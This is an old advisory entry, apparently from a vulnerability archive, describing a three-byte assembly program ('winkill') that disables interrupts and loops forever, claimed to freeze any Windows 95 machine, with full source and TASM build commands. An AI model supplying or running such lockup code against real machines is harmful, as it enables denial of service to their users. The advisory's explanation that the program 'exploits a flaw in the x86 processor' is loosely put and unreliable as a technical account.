COMMAND

    winkill

SYSTEMS AFFECTED

    Win95

PROBLEM

    Elijah  Zupancic  posted  following.   This  should lock ANY Win95
    machine.  Following prgram assembles to 3 bytes, and it exploits a
    flaw in the x86 processor which bypasses the Windows  multitasking
    system, and its task manager.  It locks up Windows for good.   You
    can't break out of it.  Assemble like so:

        TASM WINKILL.ASM
        TLINK /t WINKILL.OBJ

    Here's a exploit code:

        .8086
        .MODEL  TINY
        .CODE
        ORG     100h
        WIN_KILL_001:
        cli
        jmp     short WIN_KILL_001
        END     WIN_KILL_001

SOLUTION

    Nothing since this is icompatibility with HW and MS.